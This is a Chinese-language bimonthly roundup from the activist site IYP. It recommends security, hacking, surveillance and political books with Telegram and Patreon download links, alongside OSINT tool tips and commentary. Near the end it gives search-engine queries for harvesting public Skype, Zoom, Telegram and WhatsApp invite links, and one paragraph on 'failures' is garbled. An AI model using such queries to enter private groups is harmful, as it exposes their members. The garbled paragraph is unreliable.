小孩子们会被告知，这个世界上有两种人：好人和坏人。

随着年龄的增长，如果您幸运地拥有合适的老师和学习的机会，您将意识到，这个世界上的确有两种人：1、认为这个世界上只有两种人

的人（“好人”和“坏人”）；以及，2、认为所有人都几乎是一个混合体，容易做错事并同时有一片善心、容易犯错误和自欺欺人；一个人表现得时好时坏，只是与我们用来检验失误的结构有关，而不是与我们每个人的内在美德或邪恶有关。

我们为提升美德和检查恶习而建立的系统的名字叫“政治”，如果正确实践，它所产生的总和将大于其所有部分的总和。即：将一个以上的人连接在一起以达成一个共同的目标，可以实现比一个人所期望的结果更多更好的结果。联合将让我们变成超人。

对于经历了最近四分之一世纪的人来说，梦想家、理论家、规划师、建造者、乐观主义者、悲观主义者、怪人和天才们进行了一系列的实验，使用联网的计算机连接人们，试验治理结构（ICANN，github，Unix文件权限，标准制定组织，Reddit投票，法规，条约，规定），规范框架（宣言，服务条款，版主指南），工具（加密，纠错，排名算法）和企业，试图找到上调良好行为并下调不良行为的方法。

这个项目的社会观点是一团糟：起初，它被人们广泛认为是一种干扰，是那些认为自己的《星际迷航》留言板有某种政治后果的书呆子的玩具。然后，紧接着，外界转向嘲笑技术活动家，因为他们所谓的“技术乐观主义”，对技术已成为支配世界的政治力量的方式漠不关心。

这两种观点有一个共同点就是：它们都是对技术不太了解的人的看法。他们往往不了解坐在计算机前做事的人或他们所做的事。

技术活动家事实上对技术充满热情。他们真的相信，有了技术我们可以创造结构，上调我们美好天性中的天使，下调那些卑鄙、懦弱和不值得的冲动。如果这就是科技活动家所相信的一切，那么完全可以称他们为狂妄的怪物，他们只会被无处不在的监视和操纵变成被科技压迫的奴隶。

这当然不是所有科技活动家的全部信念。他们相信，一切都可以如此美好，但前提是我们不要把它搞砸。毕竟，如果您是一个信息安全人员，您的全部工作就是坐在那里，想想人们会如何可怕地滥用您负责保护的系统。如果您是一个信息安全专家，您必须对科技既爱又怕——就像爆破专家对炸弹的感情那样。

黑客的方式也有它的问题。“快速移动并破坏”总是那些早熟的孩子们自以为是的想法，他们想在没有成人监督的情况下骗取数百万甚至数十亿的金钱。

但是，黑客们制定政策的方式—— 利用深厚的、来之不易的技术专长来构建和修改系统，并真正关注系统的社会影响，以及简化合作步骤的方法—— 令人钦佩。黑客的活力来自于对技术可能出错的危险的深刻理解，也来自于对技术变革力量的狂热。

这是一本关于黑客和黑客政治的书，讲述了黑客的基本原理和大局。书中出现的人就像我们自己一样—— 有瑕疵也有道德感，他们努力控制坏的冲动，让高尚的纯洁之水自由倾泻。

黑客政治是反权威的，因为黑客们知道，在这个技术时代，当局和所有人一样脆弱和易受攻击。黑客政治是多元的，因为黑客们知道，不受制约的权力是一场灾难，因为没有这些制约，系统中的bug会在你还不知道那里出了问题的时候疯狂地运行，把一切弄坏。这是一种政治伦理，它既考虑到人类的易变性，也考虑到人类的无限潜力。它的目的是为了避免让事情变得更糟，即使并不总是知道如何让事情变得更好。

黑客政治也许不能解决我们的所有问题，但正如本书所表明的那样，它们肯定会成为解决方案的一部分。

在这本书撰写的过程中，其中涉及到的一些人已经被指控。但作者并没有将他们曾经的功劳抹去，它希望提醒，每个人都可能在舆论场上接受审判，但当我们做出自己的判断时，需要思考的不仅仅是个人的罪责，也需要思考个人所处的系统。

这些故事显示了大学被私人和企业的钱财所腐蚀的危险，并失去了对其公共责任的关注。它们展示了特权精英们做出的可怕决定。这些故事以其令人沮丧的多面性，暗示了一种普遍的道德危机。这里的启示是明确的：我们需要用一种新的权力分配理念来重建我们的社会和机构。这是我们的集体责任。

在这个政治时刻，这个问题非常重要。

- 不要错过《革命斗争中黑客的力量和潜力，以及一些资源》

下载：https://t.me/iyouport/8434

下载：https://www.patreon.com/posts/bian-ma-min-zhu-49475733

《The Good Drone: How Social Movements Democratize Surveillance (Acting with Technology)》

「图」

使用无人机进行创造性反抗——

在去年的《如何躲避无人机—监视时代的须知》中我们提到了这本书。现在您可以免费阅读。

Austin Choi-Fitzpatrick 的研究表明，无人机这项技术—— 主要与秘密监视和远程战争有关—— 也已成为活动家、社会运动、和人权捍卫者实现亲社会行为的重要工具，动员和协作的工具。

通过示例性行动主义故事并分析了数千种无人机的民用用途，Choi-Fitzpatrick 指出，对新兴技术对民主的意义感兴趣的学者和其他人需要超越社交媒体网络，更多考虑人口众多的地理地域。

尽管无人机被赋予了相当多危险和邪恶的用例，但这些机器还具有“使监视民主化” 的能力，从而将治理的重要工具交给了公民社会。

通过跟踪此类用途，这本书呼吁人们对新兴技术的人道主义潜力进行创造性开发、实验，并保持乐观。

IYP认为最多只能保持谨慎乐观，技术获取可能是公平的，但技术使用却不是；您的对手很容易封锁一个空域，禁止任何未经授权的民用无人机飞跃此地，就像他们在暴力镇压抗议者后阻拦救护车那样，不可思议但却是惯例。

于是，公民活动家需要想到创造性的方法，充分利用当局尚未反应过来的窗口期。

IYP介绍过很多无人机相关的思考，在网站搜索 “无人机” 可见；我们倾向于警告其最危险的暴力镇压、监视和侵犯性的用例，着眼于防御。但我们也分析过《技术如何塑造21世纪的创造性抗议》，无人机应该作为一种有效的反抗工具。

Austin Choi-Fitzpatrick 是圣地亚哥大学克罗克和平学院政治社会学副教授，同时还是诺丁汉大学社会学和社会政策学院社会运动与人权的副教授。

下载：https://t.me/iyouport/8452

下载：https://www.patreon.com/posts/shi-yong-wu-ren-49528644

《CPython Internals》

「图」

深入 **CPython**内部——

CPython 是用C语言实现的Python解释器。作为官方实现，它是最广泛使用的Python解释器。它还有和几种其它语言（包括C语言）交互的外部函数接口。

通过 “窥探” Python运行时的幕后，将加深您的技能，帮助您成为一个真正的Python达人—— 写出漂亮的、快速高效的代码。

一旦您了解了 Python 在解释器层面是如何工作的，您就可以优化您的应用程序并充分利用 Python 的强大功能。

很少有开发者会花时间去深入了解自己使用的工具，这是给同事和面试官留下深刻印象的必经之路。

这本书以简单易懂的方式解释了CPython的概念、想法和技术细节。

您将能够通过这本书：

- 阅读 CPython 3.9解释器的源代码，深刻理解列表、字典和生成器等概念的内部工作原理；
- 更改Python语法，并从头开始编译自己的CPython版本。您将用新的功能定制Python核心数据类型，并运行CPython的自动测试套件；
- 掌握CPython的内存管理功能，并通过并行性和并发性来扩展您的Python代码；
- 像真正的专业人士一样调试C和Python代码。对您的Python代码和运行时的性能进行评测和基准测试；
- 参与CPython的开发，知道如何为Python解释器和标准库的未来版本做出贡献。

这本书中的每一页都经过了精心的排版，代码示例的语法高亮显示，以及指导性的插图，让您能够有效地处理和记忆这些信息。

下载：https://t.me/iyouport/8455

下载：https://www.patreon.com/posts/shen-ru-bu-49538869

#tools “预警研究中心”是一个追踪并预测事件的工具。它通过数据分析预测可能发生的事件。可以用它来研究过去的事件，找到源头、风险指数、全球威胁等的链接。比如上面这个图，突出显示的是过去 4 周内的抗议活动。在“dashboard” 中设置您需要查询的范围和事件类型：https://acleddata.com/early-warning-research-hub/

就是这样！一如既往，希望本次的汇总中有您喜欢的内容。下次见！○

—— 持续更新中 ——

原文

IYP优秀书籍汇总2021（07 ~ 08 月版）-完全免费下载 - iyouport

免费书和纪录片

本系列在双月的月底更新

Hi，朋友！这里是2021年的第4次汇总，7 ~ 8 月版，您可以在下面回顾过往内容：

- 《IYP优秀书籍年度汇总2019—在线下载免费阅读》64份
- 《IYP 优秀书籍汇总2020（1 ~ 2月版）—完全免费下载》47份
- 《IYP优秀书籍汇总2020（3 ~ 4 月版）》14份
- 《5 ~ 6月版》20份
- 《7 ~ 8月版〉21份
- 〈9 ~ 10月版〉20份
- 〈11 ~ 12月版〉17份
- 〈1 ~ 2月版〉24份
- 〈3 ~ 4月版〉32份
- 〈5 ~ 6月〉

来看看本次汇总中有没有您感兴趣的内容。

《Cybersecurity: An Ultimate Guide to Cybersecurity, Cyberattacks, and Everything You Should Know About Being Safe on The Internet》

「图」

2021新书：关于网络安全您应该知道的一切 ——

这本书将教会您关于网络安全的几乎一切，如何保护自己，如何抵御网络攻击等等，涵盖了各种最新的安全威胁和防御战略。从组织需要了解的基础知识开始，以保持安全态势，抵御外部威胁，设计强大的网络安全计划。

它将带您进入威胁行动者的思维模式，帮助您更好地理解执行实际攻击的动机和步骤。

这本书还关注防御战略，以增强系统的安全性。您还将发现很多深入的工具，包括 Azure Sentinel，以确保每个网络层中都有安全控制，以及如何执行受损系统的恢复过程。

您将学到：

- 黑客攻击的重要性
- 利用网络安全杀伤链了解攻击战略
- 常见的网络攻击
- 利用最新的防御工具，包括 Azure Sentinel 和零信任网络战略
- 识别不同类型的网络攻击，如SQL注入、恶意软件和社交工程威胁等
- 权衡过去20年流行的网络安全战略的利与弊
- 深入了解安全和黑客行为

以及更多……

这本书具有很强的实用性，因为它包括概述网络安全中的道德问题的案例研究，并提出解决这些问题的准则和其他措施。

对于冒险进入IT安全领域的专业人员、渗透测试人员、安全顾问、或任何希望进行道德黑客攻击的人，都能从这本书中得到帮助。

下载：https://t.me/iyouport/8475

下载：https://www.patreon.com/posts/2021xin-shu-guan-49749674

《The Myth of Artificial Intelligence: Why Computers Can’t Think the Way We Do》

「图」

“人工智能” 的神话——

一位前沿的人工智能研究者和科技企业家揭穿了超级智能只需点击几下就能实现的幻想—— 这个神话不仅是错误的，它正在积极地阻碍创新，扭曲我们实现关键的下一次飞跃的能力。

未来主义者坚持认为，人工智能很快就会超越最有天赋的人类大脑的能力。但事实上，我们并没有真正走上发展智能机器的道路，目前为止我们甚至不知道这条路可能在哪。

Erik Larson 是一位科技企业家，也是一位在自然语言处理前沿工作的先锋研究科学家，他详细展示了人工智能的格局，展示了我们离超级智能有多遥远，以及要达到这个目标需要做些什么。

自从阿兰·图灵以来，人工智能爱好者们就把人工智能等同于人类智慧。这是一个深刻的错误。人工智能的工作原理是归纳推理，咀嚼数据集来预测结果。但人类的大脑不会将数据集关联起来：我们根据背景和经验做出猜测。鉴于我们对世界的了解，人类智慧是一个最佳预测的网络。人类还不知道如何编程这种溯因推理，然而它却是常识的核心。这就是为什么 **Alexa** 听不懂你在问什么，以及为什么人工智能只能带我们走这么远。

Larson 认为，人工智能的炒作既不是科学，也不利于科学。发明文化的兴盛在于探索未知，而不是卖空现有模式。归纳式人工智能将在狭隘的任务中继续改进，但如果我们想要取得真正的进步，就需要从更充分地欣赏我们所知的唯一真正的智能—— 我们自己的智能—— 开始。

下载：https://t.me/iyouport/8478

下载：https://www.patreon.com/posts/ren-gong-zhi-de-49888066

《The CIA KRYPTOS Sculpture》

「图」

克里普托斯：神秘的**CIA**雕像——

克里普托斯（Kryptos）是一座位于美国弗吉尼亚州中央情报局（CIA）广场上的雕塑作品。由美国艺术家吉姆·山朋建造，于1990年11月3日建成完工。

雕塑上包含865个难解的字符，是一段经过加密的信息。该密文是由吉姆·山朋和前美国中央情报局密码破译中心负责人爱德华·沙伊特（Ed Scheidt）合作完成。自建成以来，吸引了无数的密码学爱好者试图破译该段密文的真实信息，但至今仍未能完全破译出来。

雕塑的名称Kryptos来源于希腊文，意为“隐藏”。雕塑的主题为“情报收集”。雕塑是一座仿佛卷轴般的垂直于地面的巨大的S型铜屏风，又仿佛如一页从电脑打印机中打印出来的密码文件。雕塑上的“碑文”包含四段密文，每段密文由不同的加密方法编制而成。

雕塑的一半是由总共865个字符组成的密文，另一半是一个维热纳尔密码（Vigenère）表。桑伯恩曾经透露，雕塑的谜语中还包含着谜语，只有四段密文被完整解密后才能破解。

多年来很多人都在尝试攻破这个秘密。如果您对破译感兴趣，则本小册子中记录的破译故事也许能给您带来灵感。

下载：https://t.me/iyouport/8498

下载：https://www.patreon.com/posts/ke-li-pu-tuo-si-50658281

《Dark Web Investigation》

「图」

新版，挖掘暗网 ——

我们曾经发布过多份开源情报调查暗网的技术资料。今天上传的这本书是2021的新版，其中补充了知识，包括加密货币调查。如果您曾经尝试过，您会从中发现更多灵感，

您可以通过这本书掌握暗网作为开源情报链的方法，它提供了详细的理论、技术和实践知识，包括法律框架的应用。

如果您是防御者，反着用这本书以检查自己可能的漏洞。

下载：https://t.me/iyouport/8501

下载：https://www.patreon.com/posts/xin-ban-wa-jue-50797101

这个世界需要更多“失败者”的传记

「图」

在中国，我们曾经听过很多人吐槽“成功的问题”，那更多是因为“成功”出现了顺服。实际上在酒都如此，而那些不被顶出来的挑战者，好像会闷没，甚至在很多年之后他们被证明是对的。

一代一代的人们不断地发明轮子，因为却又出现了，这个世界差根本不会关心那些被埋没的“失败者”的智慧。

在这里看到文章《这个世界需要更多“失败者”的传记》

下载：https://www.patreon.com/posts/zhe-ge-shi-jie-50106943

《A Demon-Haunted Land: Witches, Wonder Doctors, and the Ghosts of the Past in Post–WWII Germany》

「图」

当民主失败，巫术蓬勃发展：“恶魔困扰的土地” ——

这本书让我们想起了一些有趣的故事。

在去年冠状病毒爆发的最初，我们与一些中国朋友交流，其中一些人用 “推背图” 来为我们解释为什么2020的疫情 “是必然的”。我们对推背图一无所知，也无法理解其中的文字和绘画，但从这里开始，我们了解到，推背图这个古老的预言工具近年来在中国一定程度上格外热门。

除此之外我们还听闻到，西方的占星术在中国也是备受欢迎的，甚至很多年轻人主动去接受占星术的 “培训”，因为据称 “它在互联网内容市场上很赚钱”。一位做国际政治分析的中国记者朋友使用占星术为我们解释地缘政治局势，用政客的星座运势分析预测政治前景，非常有趣。

这些年来的中国年，我们在网络上看到和学到了很多中国的祈福文化，比如正月初五接财神，各行各业的人们在微信朋友圈张贴财神的图像，在群组中讨论 “是开门还是开窗才能更准确地将财神接到家里来”，而不是 “为什么不平等的制度导致我无论如何努力都依然会对未来忐忑不安”。

就如几十年前流行的 “养生神医”，主张不吃药不看病治好顽疾，被穷苦的底层老百姓广为信仰，这并不是文化素养和智商的问题，而是对看病难、看病贵的社会压力的愤怒嘲讽 ……

我们观察这些迹象很久了，包括中国网店上销售的那些祈福占卜的工具和服务，这些社会现象与越来越难以预测的政治经济局势同步发生。3年前我们发布过《解释无法解释的行为心理学：当逻辑失败，

迷信到来》，在这里，迷信已经超出了它作为传统文化保留的民间娱乐节目的功能，它变成了一种依靠，在无助的时代里帮助消除恐慌感的理论依据。

尤其是去年开始，很多观察家们再次重新讨论中国的种族歧视问题，一如既往，这些讨论者在此将中国问题严重地特殊化处理了，这比误解更糟糕。

我们一直在说，中国的事没有那么特殊，也没有那么复杂，我们总是将全世界的同类案例放在一起讨论，希望能提醒我们可以在全世界很多国家借鉴反抗智慧，学习和联合。但将中国的问题特殊化和复杂化加以表述，符合很多人的利益，非常多的人，其中有些人用这种方法来赚钱，也有些人用它来维护一个身份角色，另一些人则用它来为虚无绝望做辩护。信仰中国特殊的人们的共同点是，他们都放弃了直接可行的解决方案，因为这样的解决方案破坏了他们的利益基础。

这本书中所解释的问题在全世界人类中都是存在的。

在这里看到这篇文章《当民主失败，巫术蓬勃发展："恶魔困扰的土地"》

下载：https://t.me/iyouport/8520

下载：https://www.patreon.com/posts/dang-min-zhu-shi-50420531

《High Conflict: Why We Get Trapped and How We Get Out》

「图」

如何走出 "撕逼大战" 的 "新常态"——

您知道，IYP的内容一贯不考虑民族国家特殊性，而是就问题讨论问题，专注于呈现和分析一个问题在全世界不同国家的体现；同时从不同国家社会的反抗经验中寻求灵感。这是有目的的。

民族国家特殊性意味着虚无、意味着承认无法联合和无从解决。就如中国，中国的事并没有那么复杂，并且中国的现象也并没有特殊性，中国当局压制社会的手段几乎没有任何 "创新"，不论是香港、新疆、文革、还是帝国主义扩张、资本主义奴役制 ……然而，强调中国 "特

殊” 符合非常多的人的利益，其结果就是您看到的这样：提出解决方案的人会被那些被否定特殊性而不符合其立场利益的人所抨击；提出跨国联合的人被嘲笑。

“撕逼” 这个词在中文里用来描述很激烈的吵架，但这种针锋相对和其带来的撕裂也绝不是哪个国家的特例，尤其是全球民主国家，被 “撕逼” 大战所威胁和破坏掉的民主对话已经构成了显著的危险影响。

那么 “撕逼新常态” 是怎么来的？无法倾听的互相攻击究竟是情绪驱动的、还是利益？

这本书中所分析的 “高度冲突” 就是中文的 “撕逼”，与一般摩擦不同，在 “高度冲突” 中，双方各执一词，都对自己的观点极度自信，甚至不会去尝试理解对方，直至互相谩骂、仇视。

“两极化” 这个宏大的词并不足以表达此种情况。

在今天的政治和文化环境中，我们可以识别 “高度冲突” 的部分特征包括：使用宏大、笼统或暴力的语言；运用谣言或阴谋论；思想光谱消失，只剩下非此即彼的二元论；一些个人或组织从煽动此类冲突中获益；人们对各自的利益不再作仔细考量，因愤怒或其他原因盲目加入对峙。

人们为何会陷入 “高度冲突”？如何摆脱困境？

Amanda Ripley 在这本书中试图在各地不同类型的政治冲突案例中寻找化解的可能途径。事实证明，虽然需要大量努力，但在许多现实案例中，一些做法或技巧完全可以帮助人们摆脱高度冲突的困境，使人们重新看待对立方，并恢复对他人的好奇心，但不会妨碍您为自己所认为的正确的事而战。

下载；https://t.me/iyouport/8524

下载：https://www.patreon.com/posts/ru-he-zou-chu-si-50842559

#tools TorWhois 网站不是Whois 服务，别被它的名字迷惑；它是一个搜索引擎，它抓取了Tor站点的HTTP标头，并为您提供在这些标头中搜索域或关键字的选项。

但也有一些缺点：它一次只能检索 10 个结果，每次您只能搜索一个关键字，而且据我所知，没有可用的搜索运算符。

一个非常有用的选项是可以从命令行搜索，比如说；

```
//whois -h torwhois.com FBCDN23DSSR3JQNQ.ONION//
```

尽管它响应的输出与网页版中显示的相同，但命令行要容易得多，还可以满足您其他目的。

Link:

https://torwhois.com

#tools 今天介绍的依旧是一个搜索引擎，它专为“eepsites”或 I2P 站点而设计。众所周知I2P站点的地址比较难找，于是这个搜索引擎也许是很不错的资源

Link:

https://i2psearch.com

《The Big Book of Spy Trivia: Spy Stories, Secret Agent Facts, and Espionage Skills from History’s Greatest Covert Missions》

「图」

历史上最大的间谍活动、秘密行动和间谍技巧——

这是2021年的新书，它记录了完全真实的故事。

无论您是想成为007、还是想要防备间谍、或者只是秘密行动的爱好者，您肯定会喜欢这本书中的有趣事实和传奇故事。

世界上最臭名昭著的间谍组织是如何诞生的？他们是如何招募公民加入他们的？以及他们如何塑造了一些世界上最大的和最令人难忘的历史事件？

您甚至会学到间谍在执行任务时使用的真实战术，从摆脱捆绑到阅读陌生人的身体语言。这些知识曾经包含在我们的《在灾难中幸存》系列中，比如如何打开手铐、如何欺骗测谎仪、如何撬锁、如何翻越铁丝网、如何从锁住的车后备箱里逃出来等等。

这本书跨越了几个世纪和多个国家，从流行文化偶像到被历史书遗忘

的无名英雄。

希望您能从中找到您需要的知识。

在这里回顾 “幸存者” 系列，此处为最后一集，其中包含本系列完整列表。

下载：https://t.me/iyouport/8545

下载；https://www.patreon.com/posts/li-shi-shang-zui-51117711

中国大水

「图」

我们看到了一些 “郑州群众活捉外媒记者” 的新闻。说实话这并不令人惊讶。在此前关于编程随想失踪一事中，我们也听闻到类似 “民间自发人肉政治异议” 的消息，虽然尚未证实。

煽动群众斗群众，这种做法有着悠久的历史，在全世界 “流行”（在我们的网站搜索这个关键词您将看到记录）。但在中国，唯一不同的是，当类似消息出现时，人们普遍将其理解为 “本民族人的愚蠢”，而不是深入调查这些行为者的背景—— 他们是否自发行为？他们是否受雇？受雇于谁？他们的这种变态心理是如何产生的？..... 嘲讽和咒骂都可能无益于在未来避免这类可怕的行径；您只是在创造一个 “他者”，并欣慰于 “至少我们不是他们”。

在国际上，我们普遍认为，信息战调查中难度最大的部分并不是有组织的网军，而是看起来很像自发行为的 “自干五”。关于，为什么有人会主动作恶？因为在言论自由的框架内是允许愚蠢的，人们有愚蠢的权利，只要行为是自发的，理论上它就不是信息战的一部分。但是，如今正在有越来越多的国家—— 包括中国—— 利用了这点，加上他们的人口基数优势和长期的政策协迫，假扮自发行为，代表当权者以言论和行事。

（您可以阅读一份相关调查报告《看清信息战：2019全球有组织社交媒体操纵清单》 ）

是的，我们应该将其称为有组织的，而不是默认其为自发行为。

这些可怕的极端的行为被放在网上作为段子，将人们的注意力从灾难政治转移到对民族主义战狼的讥讽上，对反抗来说是一种削弱；如果

它是必需的，那么就需要让这一转移具有其意义。揭露，是最好的意义。

最后，我们曾经详细解释过开源情报是什么，和它可以做什么，见《这不是一场竞技表演》；像所有工具一样，它可以建造也可以破坏，可以帮助，也可以伤害。不幸的是，在中国我们看到的状况似乎显示，对开源情报最恶毒的用例远超过对它的建设性使用。

禁止是无法解决问题的。就如同有人用菜刀砍人后禁止菜刀那样，您知道那有多荒唐。开源情报技术可能被用来人肉类似编程随想那样的异议人士、被民族主义者人肉外媒记者，也可以被反抗者用来曝光人肉狂和其他作恶者；现在的问题仅仅是，后一种用例不够积极。

大水的故事具有非常多的观察面，我们希望更多有心的中国朋友能够从不同角度思考以获得认知的提升，更好的是，行动力的激发。

1. tools 如果您想深入了解 Tor 站点，这里有一个不错的资源；有搜索引擎、加密货币，图书、游戏、多语种等等很多。页面结尾处还有适用于 Tor 浏览器的JavaScript书签，您可以将网页保存到 Archive.today (Tor)：https://github.com/5ky1ar/Awesome-Onion-Links#javascript-bookmarks

如何找到Skype、谷歌环聊、Zoom、Telegram、WhatsApp 的邀请URL

「图」

两个途径，一个是通过 Intelligence X 搜索；另一个是通过谷歌/Bing 搜索。大约有 4000 个 Telegram 邀请、8000 个 WhatsApp 链接、和超过 2600 个 Skype 链接，而且会不断更新。可以是一个非常好的备忘单。

以下是列表：

1. Skype（join.skype.com ）

通过IX：https://intelx.io/?s＝join.skype.com&pb＝1

通过谷歌：https://www.google.com/search?q＝%22join.skype.com%22%20-site:google.com%20-site:microsoft.com

1. Zoom（zoom.us/j/ ）

通过IX：https://intelx.io/?s＝https%3A%2F%2Fzoom.us%2Fj%2F*&pb＝1

通过谷歌：https://www.google.com/search?q＝%22zoom.us%2Fj%2F%22

1. Google Hangouts (hangouts.google.com/group/)

通过IX：https://intelx.io/?s＝hangouts.google.com&pb＝1

通过谷歌：https://www.google.com/search?q＝%22hangouts.google.com%2Fgroup%2F%22%20-site:google.com

1. Telegram （t.me/joinchat ）

通过IX： https://intelx.io/?s＝https%3A%2F%2Ft.me%2Fjoinchat%2F*&pb＝1

通过谷歌：https://www.google.com/search?q＝%22t.me%2Fjoinchat%22

1. WhatsApp (chat.whatsapp.com)

通过IX：

https://intelx.io/?s＝chat.whatsapp.com&pb＝1

通过Bing：https://www.bing.com/search?q＝site%3Achat.whatsapp.com

《Next Level Cybersecurity: Detect the Signals, Stop the Hack》

「图」

必需比对手抢先一步 ——

即使每年在安全上花费超过1000亿美元，攻击者还是会闯进来。

他们隐藏起来，用勒索软件窃取数据或造成破坏。

可以做任何事来阻止骇客入侵吗？

答案是肯定的。对世界上最大的入侵案件进行密集的调查后，发现了一个秘密：及早发现攻击者的信号。这本书揭示了这些信号是什么，并说明如何检测它们。

在全球公认的风险和网络安全专家 Sai Huda 的这本改变游戏规则的书中，您将学习到：

- 发现网络攻击者行为和活动的15大信号
- 找出这些信号是如何检测攻击者的
- 发现这些信号是如何在30亿用户账户被盗和其他7起世界最大的黑客事件中被遗漏的
- 了解云和物联网（IoT）如何成为危险区域，以及需要寻找的信号是什么
- 了解如何在七个步骤中执行这些信号

通过这种方法，您将及早发现攻击者，阻止入侵并防止损害。

这本书将帮助您将防御提升到一个新的水平，这样您就可以领先一步阻止灾难的发生。网络安全是每个人的事，而非专家的特定工作。

下载：https://t.me/iyouport/8550

下载：https://www.patreon.com/posts/bi-xu-bi-dui-yi-49817411

维稳警察的秘密罪行

「图」

这本书的出版在当下时代格外重要—— 书中揭露的秘密警察暗杀反抗者、将异议人士定为 “恐怖分子” 以施加 “合法” 迫害、监禁和致死、绑架、爆炸、跨境袭击，酷刑逼迫被捕的活动家为秘密警察做线人监视甚至杀害自己的亲人 …… 这些罪行直到今天依然在全世界各种国家存在着。

结束这些罪行唯一的方法就是彻底曝光它们。邪恶惧怕阳光，真相是结束暴政的最强有力的工具。

您的国家有迫害政治异议的事件吗？您的身边有被迫成为当局线人的 “队友” 吗？您所在的地方有维稳警察吗？反抗者会被列入 “重点维稳对象” 名册吗？…… 您知道该怎么做了？

这本书的中文版介绍见《一本新书，揭开维稳警察的秘密罪行》。

下载：https://www.patreon.com/posts/wei-wen-jing-cha-51058899

剥削压迫、血汗工厂、强迫劳动、生态破坏 …… 高科技背后的现代奴隶制

「图」

- “云” 的背后是什么？
- 哪里是强迫劳动的根源？
- 所谓的“自动化”究竟是个什么东西？
- 如何更清楚地理解殖民主义、资本主义和全球化？
- 中国的电动汽车开发公司风头正劲，每次融资新闻都是几十亿的计数，这些汽车的背后究竟是什么？
- 什么才是全球性的专制和不平等加剧的凶手？
- 工人运动、环境正义运动、人权运动，为什么必需必然紧密结合在一起？……

我们在此前的《工作是个什么东西》中指出过这点，所谓的科技进步并没有解放人类，全球工人的平均工时反而更长了，人们甚至相信996是“福音”，因为至少证明你有工作，有活儿干，如果你失业了，那就是没顶之灾，没有人能帮你。

科技发达到卫星满天飞，有钱人准备着移居火星，酒店前台是机器人服务员，而我们这些工人为什么依旧活得如此苦逼？

这是有原因的。也是当下最重要的反抗项目。

此前我们发布了另一本今年出版的新书《行星矿》，本文推荐的新书和一系列相关研究则从每个人最基本的生活入手，帮助人们切身体验到所谓的高科技背后的暴行。这并不是一个新问题，而是未能被解决而愈演愈烈的状况。

不论是近期被成为热点的新疆 “强迫劳动”、曾经引起全球关注的富士康跳楼、还是数不清的全球奴役压迫、剥削和污染，反抗和暴力镇压，它们背后都有着一个共同的根本性原因。

在这里看到文章《剥削压迫、血汗工厂、强迫劳动、生态破坏 …… 高科技背后的现代奴隶制》，其中涉及3本书。

下载：https://www.patreon.com/posts/bo-xue-ya-po-xie-51253006

他们永远也不会感受到你的痛苦

「图」

在中国流行的美剧《Berlin Station》中有一段对白，被派遣到黑点监狱做审讯官的 Hector DeJean 疲惫不堪，按照规定，他的任务就是不断地施加酷刑，但他得不到任何可能给被拘押者定罪的口供。在休息室里他问自己的同事："[被带到这里的这些人] 他们真的有罪吗？"，他的同事、另一个审判官说；"他们来这之前还没有，来了就有了"。

本文推荐的是一本重要的书、一部电影，以及一个重要的采访录像；如果您的国家也有"反恐战争"和/或"反恐法"，非常建议您阅读和观看这些资料。最好不要假设您的政府能比美国政府"做得更好"。

对这本书的主人公的采访视频和介绍在这里，《第二次反恐恐怖战争来了，人们有必要观看这部新电影和这本书》。

下载：https://www.patreon.com/posts/ta-men-yong-yuan-51352414

这就是他们给我讲述世界末日的方式

「图」

曾经在"枪杆子"里的政权，现在在代码中 。

它可能是本世纪最强大的政治武器。这是一场阴暗的地下军备竞赛，它可以毁灭任何人，不论是盟友还是政敌；它可以卖给任何人，只要你给足了钞票。

在这里没有什么意识形态，一切都是关于金钱和权力。全世界的政府都在秘密地这样做，包括你认为最善良和最民主的政府；但这里最大的玩家、一掷千金的顶级买主，只有那几个政府：美国、中国、以色列、俄罗斯…… 其中美国压倒其他所有国家。

那些知道如何使用这种武器的人像巨人一样站在这个地球上。

政治是使他人屈服于你的意愿的斗争。战争是政治通过其他手段的延伸。在网络领域，政治和战争进入了新的篇章，至今仍在撰写 ……

这本书是经过七年多的采访调查的产物，采访了300多名参与、跟踪或直接受到地下网络武器行业影响的个人。这些人包括黑客、活动家、持不同政见者、学者、计算机科学家、美国和外国政府官员、取证调查员和雇佣军。相关文件被认为是机密的，或者在许多情况下通过保密协议享有特权。由于主题的敏感性，书中接受采访的许多人只有在匿名的情况下才同意说话。

此前我们发布过这本书的摘录，您可以在这里看到《这就是他们给我讲述世界末日的方式》。

下载：https://www.patreon.com/posts/zhe-jiu-shi-ta-49093748

《Master Hacking, Master The Tools: Understanding Process Of Hacking, Notions of Linux, Linux Mint, Kali Linux, Penetrating Tests And More: Kali Linux Tools List》

「图」

最厉害的黑客工具——

这里是2021年的新书，可更新您的知识。

一个注重安全的操作系统是黑客最好的伙伴，因为它可以帮助您发现计算机系统或计算机网络的弱点。无论您是在追求信息安全的职业，还是从事安全专业工作，或者您对这一特定领域的知识感兴趣，您必须了解一个适合您的目的的体面的Linux发行版。

这本书中最精彩的部分包括：

- Linux操作系统简介
- 如何安装Linux Mint和Kali Linux
- 如何使用虚拟机安装Linux发行版
- Linux命令的介绍
- 解释Kali Linux中的黑客工具
- 如何使用Nmap收集目标的信息
- 如何使用Nessus进行自动漏洞评估
- 通过大量的例子介绍Netcat工具
- 使用密码破解工具的注意事项
- 介绍 John the Ripper

- 介绍Snort工具
- 有一整章是关于无线黑客攻击的，其中有很多例子

这本书中使用的版本都是最新的，如果您正在准备开始进入这一领域，这本书肯定会对您很有帮助。

下载：https://t.me/iyouport/8601

下载：https://www.patreon.com/posts/zui-li-hai-de-ke-51119643

美国人的钱看中了中国的什么东西？

「图」

由 Facebook 联合创始人爱德华多·萨韦林和贝恩资本前高管拉吉·甘古利组建的有六年历史的风险投资基金 B Capital Group 正在加倍关注中国，它希望在未来几年内将其基金中的5亿至10亿美元分配给中国科技公司。

甘古利在接受 TechCrunch 采访时说，B Capital 管理着19亿美元的资产，正在追逐中国的企业软件供应商，这个领域已经出现了“爆炸性增长”，但仍然只是“美国SaaS市场规模的一小部分”。

他补充说，认为中国公司不愿意为软件掏钱的想法是“非常落后的想法”。

推动中国B2B公司蓬勃发展的一种力量是劳动力成本的激增。因此，B Capital 正在寻找能够使劳动力和商业运作更有效率的软件，并随后使公司获得竞争优势。COVID-19加速了这种转变，因为事实证明，数字化程度高的公司对大流行病造成的破坏有更强的抵抗力。

由于与波士顿咨询公司（BCG）建立了密切的合作关系，B Capital 能够辨别企业的需求，波士顿咨询公司拥有大量寻求数字化的客户，包括医疗保健、金融和运输。

B Capital 今年年初开始在中国部署资本，并已经完成了三笔交易。它是一个不分阶段的公司—— 尽管成长阶段的初创公司是重点—— 并计划在未来几年在中国支持15–20个项目。大约15名投资和运营员工在香港和北京工作。该公司在全球拥有约110名员工。

